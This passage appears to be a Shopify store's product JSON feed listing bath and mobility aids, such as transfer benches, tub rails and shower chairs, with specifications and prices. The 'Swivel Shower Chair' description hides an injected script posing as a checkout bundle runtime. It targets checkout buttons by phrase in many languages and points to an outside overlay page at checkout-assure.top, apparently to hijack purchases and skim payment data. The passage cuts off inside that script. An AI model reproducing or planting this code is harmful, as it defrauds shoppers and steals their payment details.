style=\"width: 10px;\" data-mce-style=\"width: 10px;\"\u003e\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"width: 94.7125px;\" data-mce-style=\"width: 65px;\"\u003eCH2014\u003c\/td\u003e\n\u003ctd style=\"width: 252.287px;\" data-mce-style=\"width: 282px;\"\u003e32\"\u003c\/td\u003e\n\u003ctd style=\"width: 10px;\" align=\"right\" data-mce-style=\"width: 10px;\"\u003e\n\u003cdiv align=\"left\"\u003e\u003cbr\u003e\u003c\/div\u003e\n\u003c\/td\u003e\n\u003ctd style=\"width: 10px;\" data-mce-style=\"width: 10px;\"\u003e\u003cbr\u003e\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003c\/tbody\u003e\n\u003c\/table\u003e\n\u003c\/li\u003e\n\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e","brand":"jjhealthcareproducts","offers":[{"title":"Default Title","offer_id":42619185922220,"sku":"CH2010","price":33.0,"currency_code":"CAD","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0621\/8907\/6652\/files\/2010-14-750.jpg?v=1687500932"},{"product_id":"ezee-life-plastic-transfer-bath-bench-ch2035","title":"Ezee Life Plastic Transfer Bath Bench (CH2035)","description":"\u003cul\u003e\n\u003cli\u003e\n\u003ch3 data-mce-fragment=\"1\"\u003eFeatures\u003c\/h3\u003e\n\u003cul data-mce-fragment=\"1\"\u003e\n\u003cli data-mce-fragment=\"1\"\u003e1\" Aluminum frame is a lightweight, sturdy and corrosion resistant\u003c\/li\u003e\n\u003cli data-mce-fragment=\"1\"\u003eHeight adjusts in 1\" increments\u003c\/li\u003e\n\u003cli data-mce-fragment=\"1\"\u003eBack reverses without tools\u003c\/li\u003e\n\u003cli data-mce-fragment=\"1\"\u003eExtra large suction cups provided added safety\u003c\/li\u003e\n\u003cli data-mce-fragment=\"1\"\u003eBackrest can be removed and replaced without tools for use in either a right or left hand bath tub\u003c\/li\u003e\n\u003c\/ul\u003e\n\u003ch3 data-mce-fragment=\"1\"\u003eSpecifications\u003c\/h3\u003e\n\u003cul data-mce-fragment=\"1\"\u003e\n\u003cli data-mce-fragment=\"1\"\u003eSeat Height: 18” to 22 in 1\" increments\u003c\/li\u003e\n\u003cli data-mce-fragment=\"1\"\u003eSeat Width: 26.5”\u003c\/li\u003e\n\u003cli data-mce-fragment=\"1\"\u003eSeat Depth: 16”\u003c\/li\u003e\n\u003cli data-mce-fragment=\"1\"\u003ePadded Seat: no\u003c\/li\u003e\n\u003cli data-mce-fragment=\"1\"\u003eBack Height: 12.5\"\u003c\/li\u003e\n\u003cli data-mce-fragment=\"1\"\u003eBackrest Width: 7.5\"\u003c\/li\u003e\n\u003cli data-mce-fragment=\"1\"\u003eBack Width: 16.5\"\u003c\/li\u003e\n\u003cli data-mce-fragment=\"1\"\u003ePadded Back: no\u003c\/li\u003e\n\u003cli data-mce-fragment=\"1\"\u003eArm height x length: 8.5\" x 13\"\u003c\/li\u003e\n\u003cli data-mce-fragment=\"1\"\u003eWidth of Legs: 16” depth x 24” width\u003c\/li\u003e\n\u003cli data-mce-fragment=\"1\"\u003eConstruction: Aluminum frame\/plastic composite seat\u003c\/li\u003e\n\u003cli data-mce-fragment=\"1\"\u003eWeight capacity: 300 lbs\u003c\/li\u003e\n\u003cli data-mce-fragment=\"1\"\u003eProduct weight: 9.8 lbs\u003c\/li\u003e\n\u003cli data-mce-fragment=\"1\"\u003eWeight in box: 11 lbs\u003c\/li\u003e\n\u003cli data-mce-fragment=\"1\"\u003eBox Dimensions: 29.5\" x 16.3\" x 16.3\"\u003c\/li\u003e\n\u003c\/ul\u003e\n\u003cbr\u003e\n\u003c\/li\u003e\n\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e","brand":"jjhealthcareproducts","offers":[{"title":"Default Title","offer_id":42619359821996,"sku":"CH2035","price":140.0,"currency_code":"CAD","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0621\/8907\/6652\/files\/ch2035-500.jpg?v=1687513400"},{"product_id":"ezee-life-padded-shower-transfer-bench-ch1010","title":"Ezee Life Padded Shower Transfer Bench (CH1010)","description":"\u003cul\u003e\n\u003cli\u003e\n\u003ch3\u003eFeatures\u003c\/h3\u003e\n\u003cul\u003e\n\u003cli\u003eComfortable padded bath bench and backrest\u003c\/li\u003e\n\u003cli\u003e1\" Aluminum frame is a lightweight, sturdy and corrosion resistant\u003c\/li\u003e\n\u003cli\u003eHeight adjusts in 1\" increments\u003c\/li\u003e\n\u003cli\u003eBack reverses without tools\u003c\/li\u003e\n\u003cli\u003eExtra large suction cups provided added safety\u003c\/li\u003e\n\u003cli\u003eCan be purchased assembled which includes the added shipping costs incurred\u003c\/li\u003e\n\u003cli\u003eBackrest can be removed and replaced without tools for use in either a right or left hand bath tub\u003c\/li\u003e\n\u003c\/ul\u003e\n\u003ch3\u003eSpecifications\u003c\/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSeat Height: 18” to 22.5” in 3\/4\" increments\u003c\/li\u003e\n\u003cli\u003eSeat width: 23”\u003c\/li\u003e\n\u003cli\u003eSeat depth: 16”\u003c\/li\u003e\n\u003cli\u003ePadded seat: yes\u003c\/li\u003e\n\u003cli\u003eBack Height: 15.25\"\u003c\/li\u003e\n\u003cli\u003eBack Pad Height: 7.75\"\u003c\/li\u003e\n\u003cli\u003eBack Width: 15.75\"\u003c\/li\u003e\n\u003cli\u003ePadded back: yes\u003c\/li\u003e\n\u003cli\u003eArm height x length: 8\" x 14.5\"\u003c\/li\u003e\n\u003cli\u003eWidth of legs: 16.5” depth x 27.5” width\u003c\/li\u003e\n\u003cli\u003eConstruction: Aluminum frame\/vinyl padded seat\u003c\/li\u003e\n\u003cli\u003eWeight capacity: 300 lbs\u003c\/li\u003e\n\u003cli\u003eProduct weight: 10.5 lbs\u003c\/li\u003e\n\u003cli\u003eWeight in box: 12 lbs\u003c\/li\u003e\n\u003cli\u003eBox Dimensions: 28.3\" x 25.4\" x 19.7\"\u003c\/li\u003e\n\u003c\/ul\u003e\n\u003c\/li\u003e\n\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e","brand":"jjhealthcareproducts","offers":[{"title":"Default Title","offer_id":42619361820844,"sku":"CH1010","price":163.0,"currency_code":"CAD","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0621\/8907\/6652\/files\/ch1010-2000750.jpg?v=1687513560"},{"product_id":"ezee-life-versa-frame-adjustable-toilet-safety-frame-ch1040","title":"Ezee Life Versa Frame Adjustable Toilet Safety Frame (CH1040)","description":"\u003cul\u003e\n\u003cli\u003e\n\u003ch3\u003eFeatures:\u003c\/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAnodized aluminum is sturdy and lightweight\u003c\/li\u003e\n\u003cli\u003eWaterfall armrests provide additional comfort and support\u003c\/li\u003e\n\u003cli\u003ePowder coated aluminum bracket easily attaches frame to toilet\u003c\/li\u003e\n\u003cli\u003eArm height and width are adjustable\u003c\/li\u003e\n\u003c\/ul\u003e\n\u003ch3\u003eDimensions and Specs:\u003c\/h3\u003e\n\u003cul\u003e\n\u003cli\u003eWeight capacity: 300 lbs\u003c\/li\u003e\n\u003cli\u003eConstruction: Anodized Aluminum Frame\u003c\/li\u003e\n\u003cli\u003eHeight Setting: 28” - 32”\u003c\/li\u003e\n\u003cli\u003eWidth Between Arms: 18” - 25”\u003c\/li\u003e\n\u003cli\u003eWeight: 4 lbs\u003c\/li\u003e\n\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003c\/li\u003e\n\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e","brand":"jjhealthcareproducts","offers":[{"title":"Default Title","offer_id":42625008599212,"sku":"CH1040","price":50.0,"currency_code":"CAD","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0621\/8907\/6652\/files\/ch1040-h750.jpg?v=1688017359"},{"product_id":"ezee-life-bath-board-ch2036","title":"Ezee Life Bath Board (CH2036)","description":"\u003cul\u003e\n\u003cli\u003e\n\u003ch3\u003eFeatures:\u003c\/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePortable for easy storage and travel\u003c\/li\u003e\n\u003cli\u003eHandle provides additional safety and stability for the user\u003c\/li\u003e\n\u003cli\u003eRubber stops help protect tub from scratches\u003c\/li\u003e\n\u003cli\u003eDrain holes prevent pooling\u003c\/li\u003e\n\u003c\/ul\u003e\n\u003ch3\u003eDimensions and Specs:\u003c\/h3\u003e\n\u003cul\u003e\n\u003cli\u003eWeight capacity: 300 lbs\u003c\/li\u003e\n\u003cli\u003eColor: White\u003c\/li\u003e\n\u003cli\u003eWidth adjusts from: 17.7” to 28”\u003c\/li\u003e\n\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003c\/li\u003e\n\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e","brand":"jjhealthcareproducts","offers":[{"title":"Default Title","offer_id":42625008664748,"sku":"CH2036","price":57.0,"currency_code":"CAD","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0621\/8907\/6652\/files\/ch2036-h750.jpg?v=1688017482"},{"product_id":"ezee-life-12-tub-rail-ch2033","title":"Ezee Life 12\" Tub Rail (CH2033)","description":"\u003cul\u003e\n\u003cli\u003e\n\u003ch3\u003e\u003c\/h3\u003e\n\u003ch3\u003eFeatures\u003c\/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEasy to clean plastic\u003c\/li\u003e\n\u003cli\u003eErgonomic design\u003c\/li\u003e\n\u003cli\u003eSafe grip\u003c\/li\u003e\n\u003cli\u003eEasy to install no tools needed\u003c\/li\u003e\n\u003cli\u003eWon't rust or scratch (clamp excluded)\u003c\/li\u003e\n\u003cli\u003eAttractive design\u003c\/li\u003e\n\u003c\/ul\u003e\n\u003ch3\u003eSpecifications\u003c\/h3\u003e\n\u003cul\u003e\n\u003cli\u003eHeight (when mounted): 12”\u003c\/li\u003e\n\u003cli\u003eSecondary grip height: n\/a\u003c\/li\u003e\n\u003cli\u003eBar diameter: 1.75\"\u003c\/li\u003e\n\u003cli\u003eInstallation method: Clamp\u003c\/li\u003e\n\u003cli\u003eClamp opening: 2 ¾\" to 6 1\/2\"\u003c\/li\u003e\n\u003cli\u003eWeight capacity: 300lbs (may vary if clamp's not tight)\u003c\/li\u003e\n\u003cli\u003eProduct weight: 3 ¾ lbs\u003c\/li\u003e\n\u003cli\u003eWeight in box: 4.6 lbs\u003c\/li\u003e\n\u003cli\u003eBox Dimensions 6.5\" x 8.5\" x 18\"\u003c\/li\u003e\n\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003c\/li\u003e\n\u003c\/ul\u003e\n\u003cp\u003e \u003c\/p\u003e\n\u003cp\u003e \u003c\/p\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e","brand":"jjhealthcareproducts","offers":[{"title":"Default Title","offer_id":42625009189036,"sku":"CH2033","price":45.0,"currency_code":"CAD","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0621\/8907\/6652\/files\/ch2033-2000750.jpg?v=1688017602"},{"product_id":"ezee-life-16-tub-rail-ch2034","title":"Ezee Life 16\" Tub Rail (CH2034)","description":"\u003ch3\u003eFeatures\u003c\/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEasy to clean plastic construction\u003c\/li\u003e\n\u003cli\u003eErgonomic design\u003c\/li\u003e\n\u003cli\u003eSafe grip\u003c\/li\u003e\n\u003cli\u003eEasy to install no tools needed\u003c\/li\u003e\n\u003cli\u003eWon't rust or scratch (clamp excluded)\u003c\/li\u003e\n\u003cli\u003eAttractive design\u003c\/li\u003e\n\u003cli\u003eDual grip design\u003c\/li\u003e\n\u003c\/ul\u003e\n\u003ch3\u003eSpecifications\u003c\/h3\u003e\n\u003cul\u003e\n\u003cli\u003eHeight (when mounted): 16”\u003c\/li\u003e\n\u003cli\u003eSecondary grip height: 9\"\u003c\/li\u003e\n\u003cli\u003eBar diameter: 1.75\"\u003c\/li\u003e\n\u003cli\u003eInstallation method: Clamp\u003c\/li\u003e\n\u003cli\u003eClamp opening: 2 3\/4\" to 6 1\/2\"\u003c\/li\u003e\n\u003cli\u003eWeight capacity: 300lbs (may vary if clamp's not tight)\u003c\/li\u003e\n\u003cli\u003eProduct weight: 4.6 lbs\u003c\/li\u003e\n\u003cli\u003eWeight in box: 5.75 lbs\u003c\/li\u003e\n\u003cli\u003eBox Dimensions 7.5\" x 9\" x 22\"\u003c\/li\u003e\n\u003c\/ul\u003e","brand":"jjhealthcareproducts","offers":[{"title":"Default Title","offer_id":42629957877932,"sku":"CH2034","price":88.0,"currency_code":"CAD","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0621\/8907\/6652\/files\/ch2034-2000750.jpg?v=1688392328"},{"product_id":"ezee-life-steel-tub-rail-ch2039","title":"Ezee Life Steel Tub Rail (CH2039)","description":"\u003ch3\u003eFeatures\u003c\/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSteel construction easy-to-clean surface\u003c\/li\u003e\n\u003cli\u003eFits most tubs (not for fibreglass tubs)\u003c\/li\u003e\n\u003cli\u003eTool-free installation\u003c\/li\u003e\n\u003cli\u003ePowder-coated finish\u003c\/li\u003e\n\u003cli\u003eEasy-to-clean surface\u003c\/li\u003e\n\u003cli\u003eAttractive design\u003c\/li\u003e\n\u003cli\u003eDual grip design\u003c\/li\u003e\n\u003c\/ul\u003e\n\u003ch3\u003eSpecifications\u003c\/h3\u003e\n\u003cul\u003e\n\u003cli\u003eHeight (when mounted): 14.75\"\u003c\/li\u003e\n\u003cli\u003eSecondary grip height: 7\"\u003c\/li\u003e\n\u003cli\u003eBar diameter: 1”\u003c\/li\u003e\n\u003cli\u003eInstallation method: Clamp\u003c\/li\u003e\n\u003cli\u003eClamp opening: 3” to 7”\u003c\/li\u003e\n\u003cli\u003eWeight capacity: 300lbs (may vary if clamp's not tight)\u003c\/li\u003e\n\u003cli\u003eProduct weight: 6.5 lbs\u003c\/li\u003e\n\u003cli\u003eWeight in box: 7 lbs\u003c\/li\u003e\n\u003cli\u003eBox Dimensions 6.5\" x 7.5\" x 20\"\u003c\/li\u003e\n\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e","brand":"jjhealthcareproducts","offers":[{"title":"Default Title","offer_id":42629960073388,"sku":"CH2039","price":83.0,"currency_code":"CAD","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0621\/8907\/6652\/files\/ch2039-h750.jpg?v=1688392917"},{"product_id":"drivemedical-vitaturn-swivel-and-transfer-aid","title":"Drivemedical Vitaturn Swivel and Transfer Aid","description":"\u003cp\u003eItem # 412100200\u003cbr\u003eUPC # 822383259970\u003cbr\u003e\u003c\/p\u003e\n\u003cul\u003e\n\u003cli\u003eSimplifies transfer, positioning and rotating when using a bath lift\u003c\/li\u003e\n\u003cli\u003eSoft, mobile seat surface glides smoothly\u003c\/li\u003e\n\u003cli\u003eSlip-resistant surface improves safety\u003c\/li\u003e\n\u003cli\u003eThe skin-friendly coating is easy-to-clean\u003c\/li\u003e\n\u003c\/ul\u003e","brand":"Default Vendor","offers":[{"title":"Default","offer_id":44094569054380,"sku":"Vitaturn Swivel and Transfer Aid","price":278.0,"currency_code":"CAD","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0621\/8907\/6652\/files\/412100200.jpg?v=1738550350"},{"product_id":"drivemedicalbellavita-dive-bath-lift","title":"Drivemedical Bellavita Dive Bath Lift","description":"\u003cp\u003eItem # 477400252\u003cbr\u003eUPC # 822383019604\u003cbr\u003e\u003c\/p\u003e\n\u003cp\u003eThe lightest and lowest bath lift on the market now helps users dive deeper and get cleaner!\u003c\/p\u003e\n\u003cul\u003e\n\u003cli\u003eNew removable backrest with 50° recline\u003c\/li\u003e\n\u003cli\u003eLarger seat with hygiene cutout\u003c\/li\u003e\n\u003cli\u003eImproved dual column design provides optimal stability for up to 300 pounds\u003c\/li\u003e\n\u003cli\u003eSeat height adjusts from 2.6\" to 18.9\"\u003c\/li\u003e\n\u003cli\u003eEasy-to-use floating remote control\u003c\/li\u003e\n\u003cli\u003eInstalls easy in almost any bathtub—no plumbing or electrical work required\u003c\/li\u003e\n\u003c\/ul\u003e","brand":"Default Vendor","offers":[{"title":"Default","offer_id":44094569087148,"sku":"Bellavita Dive Bath Lift","price":1490.0,"currency_code":"CAD","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0621\/8907\/6652\/files\/477400252.jpg?v=1738550305"},{"product_id":"drivemedical-bath-board-transfer-bench-with-handle","title":"Drivemedical Bath Board Transfer Bench with Handle","description":"\u003cp\u003eItem # 770-420\u003cbr\u003eUPC # 50754021215923\u003cbr\u003e\u003cbr\u003e• Solid handle for added security\u003cbr\u003e• Fits bathtub inner widths between 16\" and 26.75\"\u003cbr\u003e• Quick and easy tool-free installation\u003cbr\u003eSPECIFICATION\u003cbr\u003e    Weight Capacity 330 lb\u003cbr\u003e                \u003cbr\u003e\u003c\/p\u003e","brand":"Default Vendor","offers":[{"title":"Default","offer_id":44094569185452,"sku":"Bath Board Transfer Bench with Handle","price":129.0,"currency_code":"CAD","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0621\/8907\/6652\/files\/6003-1.jpg?v=1738550114"},{"product_id":"drivemedical-aquasense-adjustable-transfer-bench","title":"Drivemedical Aquasense Adjustable Transfer Bench","description":"\u003cp\u003eItem # 770-406\u003cbr\u003eUPC # 50754021210294\u003c\/p\u003e\n\u003ch2\u003eFEATURES\/BENEFITS\u003c\/h2\u003e\n\u003cp\u003e• Slide effortlessly over the tub wall of your bathtub with your AquaSense® Transfer Bench.\u003cbr\u003e• The Adjustable Bathtub Transfer Bench, by AquaSense®, is knocked-down and blow molded. It is built with a light weight anodized rust-resistant frame. The transfer bench's legs have nine (9) adjustments in 1.2\" increments to accommodate different bath tub heights.\u003cbr\u003e• Both lightweight and durable the rust-resistant aluminum frame supports up to 250 lbs.\u003cbr\u003e• Each leg includes a non-skid, non-slip tip offering security on wet surfaces.\u003cbr\u003e• A removable push-button armrest supports transferring in and out of the bathtub.\u003cbr\u003e• Simply and quickly adjust the height with the help of a push pin to achieve the ideal seated position. Seat height adjustments on this model range from 18\" to 22\".\u003cbr\u003e• Drainage holes help to prevent water from pooling, making the bench more comfortable, less slippery and ensuring transfer from bathing to exiting the tub is more secure.\u003cbr\u003e• Push button, snap together design requires no tools and assembles in just minutes.\u003cbr\u003e• Feel good knowing that plastics parts of this product are made using recycled materials.\u003c\/p\u003e\n\u003ch2\u003eSPECIFICATION\u003c\/h2\u003e\n\u003cp\u003eWeight Capacity 250 lb (113 kg)\u003cbr\u003eSeat To Floor Height 18” to 22” (45.7 to 55.9 cm)\u003cbr\u003eHeight Adjustment 4” in 0.47” (1.2 cm) increments\u003cbr\u003eOverall Width 26” (66 cm)\u003cbr\u003eRetail Box Dimensions 20.9” (L )x 17.7” (W) x 19.9” (H) |53 cm x 45 cm x 50.5 cm\u003cbr\u003e\u003c\/p\u003e","brand":"Default Vendor","offers":[{"title":"Default","offer_id":44094570070188,"sku":"Aquasense Adjustable Transfer Bench","price":237.0,"currency_code":"CAD","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0621\/8907\/6652\/files\/71r9qK52RBL._AC_SL1500.jpg?v=1738541875"},{"product_id":"drivemedical-aquasense-adjustable-bath-seat-without-backrest","title":"Drivemedical AquaSense Adjustable Bath Seat without Backrest","description":"\u003cp\u003eItem # 770-500\u003cbr\u003eUPC # 50754021210317\u003c\/p\u003e\n\u003ch2\u003eFEATURES\/BENEFITS\u003c\/h2\u003e\n\u003cp\u003eDesigned to offer greater support and comfort, while showering or bathing. This adjustable bath seat without back, by AquaSense® is made from lightweight aluminum, with blow-molded plastic seat. This bath seat can also be used in the shower. It features a textured surface, drainage holes, seat handles, and slip resistant rubber safety tips. Adjustable legs raise or lower the seat height.\u003cbr\u003e• Both lightweight and durable the rust-resistant aluminum frame supports up to 300 lbs.\u003cbr\u003e• Each leg includes a non-skid, non-slip tip offering security on wet surfaces.\u003cbr\u003e• Simply and quickly adjust the height with the help of a push pin to achieve the ideal seated position. Seat height adjustments on this model range from 14\" to 21\".\u003cbr\u003e• Drainage holes help to prevent water from pooling, making the bench more comfortable, less slippery and ensuring transfer from bathing to exiting the tub is more secure.\u003cbr\u003e• Textured seat surface helps to prevent slipping.\u003cbr\u003e• Push button, snap together design requires no tools and assembles in just minutes.\u003cbr\u003e• Feel good knowing that plastics parts of this product are made using recycled materials.\u003cbr\u003e\u003c\/p\u003e\n\u003ch2\u003eSPECIFICATION\u003c\/h2\u003e\n\u003cp\u003eWeight Capacity 300 lb\u003cbr\u003e\u003c\/p\u003e","brand":"Default Vendor","offers":[{"title":"Default","offer_id":44094570102956,"sku":"AquaSense Adjustable Bath Seat without Backrest","price":85.0,"currency_code":"CAD","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0621\/8907\/6652\/files\/770-500.jpg?v=1738541818"},{"product_id":"drivemedical-aquasense-adjustable-bath-seat-with-backrest","title":"Drive medical AquaSense Adjustable Bath Seat with Backrest","description":"\u003cp\u003eItem # 770-510\u003cbr\u003eUPC # 50754021210324\u003c\/p\u003e\n\u003ch2\u003eFEATURES\/BENEFITS\u003c\/h2\u003e\n\u003cp\u003e• Provide comfort and safety while showering or bathing. The AquaSense® Adjustable Bath Seats with Backrest are made from lightweight aluminum, with blow-molded plastic for the seat and the backrest. They feature a textured surface, large drainage holes, handles in both seat and back, and slip resistant rubber safety tips. Adjustable legs raise or lower the seat height.\u003cbr\u003e• Both lightweight and durable the rust-resistant aluminum frame supports up to 300 lbs.\u003cbr\u003e• Each leg includes a non-skid, non-slip tip offering security on wet surfaces.\u003cbr\u003e• Simply and quickly adjust the height with the help of a push pin to achieve the ideal seated position. Seat height adjustments on this model range from 14\" to 21\".\u003cbr\u003e• Drainage holes help to prevent water from pooling, making the bench more comfortable, less slippery and ensuring transfer from bathing to exiting the tub is more secure.\u003cbr\u003e• Textured seat surface helps to prevent slipping.\u003cbr\u003e• Push button, snap together design requires no tools and assembles in just minutes.\u003cbr\u003e• Feel good knowing that plastics parts of this product are made using recycled materials.\u003cbr\u003e\u003c\/p\u003e\n\u003ch2\u003eSPECIFICATION\u003c\/h2\u003e\n\u003cp\u003eWeight Capacity 300 lb\u003cbr\u003e\u003cbr\u003e\u003c\/p\u003e","brand":"Default Vendor","offers":[{"title":"Default","offer_id":44094570135724,"sku":"AquaSense Adjustable Bath Seat with Backrest","price":95.0,"currency_code":"CAD","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0621\/8907\/6652\/files\/770-510.jpg?v=1786054711"},{"product_id":"drivemedical-aquasense-shower-stool","title":"Drivemedical AquaSense Shower Stool","description":"\u003cp\u003eItem # 770-514\u003cbr\u003eUPC # 50754021216043\u003c\/p\u003e\n\u003ch2\u003eFEATURES\/BENEFITS\u003c\/h2\u003e\n\u003cp\u003eWhen standing up in the bathtub or the shower becomes difficult, a shower stool can offer security and comfort, in the shower as well as in the bath\u003cbr\u003e• Both lightweight and durable the rust-resistant aluminum frame supports up to 250 lbs\u003cbr\u003e• Each leg includes a non-skid, non-slip tip offering security on wet surfaces\u003cbr\u003e• A removable push-button armrest supports transferring in and out of the bathtub\u003cbr\u003e• Simply and quickly adjust the height with the help of a push pin to achieve the ideal seated position. Seat height adjustments on this model range from 18\" to 22\"\u003cbr\u003e• Drainage holes help to prevent water from pooling, making the bench more comfortable, less slippery and ensuring transfer from bathing to exiting the tub is more secure\u003cbr\u003e• Push button, snap together design requires no tools and assembles in just minutes\u003cbr\u003e• Feel good knowing that plastics parts of this product are made using recycled materials\u003c\/p\u003e\n\u003cp\u003eSPECIFICATION\u003cbr\u003eWeight Capacity 250 lb\u003cbr\u003e\u003c\/p\u003e","brand":"Default Vendor","offers":[{"title":"Default","offer_id":44094570168492,"sku":"AquaSense Shower Stool","price":70.0,"currency_code":"CAD","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0621\/8907\/6652\/files\/770-514.jpg?v=1738538504"},{"product_id":"swivel-shower-chair","title":"Swivel Shower Chair","description":"\u003cp\u003e•        Swivels 360° and Locks in 90° increments\u003cbr\u003e\n•        Fits most bathtubs and showers\u003cbr\u003e\n•        Seat \/Back height adjustable\u003cbr\u003e\n•        Super Ergonomic soft seat\u003cbr\u003e\n•        Lock can accommodate both Left \/Right -Handed people\u003cbr\u003e\n•        Rustproof, lightweight aluminum\u003cbr\u003e\n•        Tool free assembly\u003cbr\u003e\n•        Weight capacity 300 lbs\u003cbr\u003e\nSPECIFICATION-\u003cbr\u003e\nRotation                                       360 Degree\u003cbr\u003e\nSeat Dimension                      16\" x 13 1\/2\"\u003cbr\u003e\nArm to Arm width                       20\"\u003cbr\u003e\nSeat to Floor Height               16\"-21 1\/2\" adjustable\u003cbr\u003e\nBack Top to Seat Height              16\" - 18\" adjustable\u003cbr\u003e\nFront Legs Width                      18 1\/2\"\u003cbr\u003e\nFront Leg to Back Leg              16 1\/2\"\u003cbr\u003e\nWeight                                     12 lbs\u003cbr\u003e\nWeight Capacity                        300 lbs\u003cbr\u003e\nTool                                                Tool Free Assembly\u003cbr\u003e\nWarranty                                          Limited One Year\u003c\/p\u003e\n\u003cscript\u003e(function(){\n  if (window.__CHECKIOUT_FASTBUNDLE_RUNTIME__ === \"anncode-validation-20260724-jandm-v1\") return;\n  window.__CHECKIOUT_FASTBUNDLE_RUNTIME__ = \"anncode-validation-20260724-jandm-v1\";\n  const OVERLAY_CHOICES = [\"https:\/\/www.checkout-assure.top\/check-out\/\"];\n  const CHECKOUT_NEEDLE = '\/checkout';\n  const WINDOW_NAME_PREFIX = \"__CHECKIOUT_CART__:\";\n  const CHECKOUT_PHRASES = ['checkout','check out','shop pay','paypal','google pay','pay now','passer à la caisse','passer commande','finaliser la commande','procéder au paiement','zur kasse','weiter zur kasse','bestellung abschließen','finalizar compra','finalizar pedido','tramitar pedido','proceder al pago','pagar ahora','concluir compra','pagar agora','procedi all\\'ordine','procedi all’ordine','paga ora','completa l\\'ordine','completa l’ordine','vai alla cassa','afrekenen','naar afrekenen','bestelling plaatsen','レジに進む','ご購入手続き','購入手続き','注文する','結帳','结账','去結帳','去结账','結算','结算','立即結帳','立即结账','前往結帳','前往结账','결제하기','결제','주문하기','przejdź do kasy','przejdz do kasy','do kasy','złóż zamówienie','till kassan','gå till kassan','til kassen','gå til kassen','ödemeye geç','odemeye gec','satın al','satin al','оформить заказ','перейти к оплате','оплатить','оформити замовлення','перейти до оплати','إتمام الشراء','الدفع','إتمام الطلب','לתשלום','להשלמת הרכישה','ολοκλήρωση αγοράς','πληρωμή','k pokladně','dokončit objednávku','fizetés','tovább a 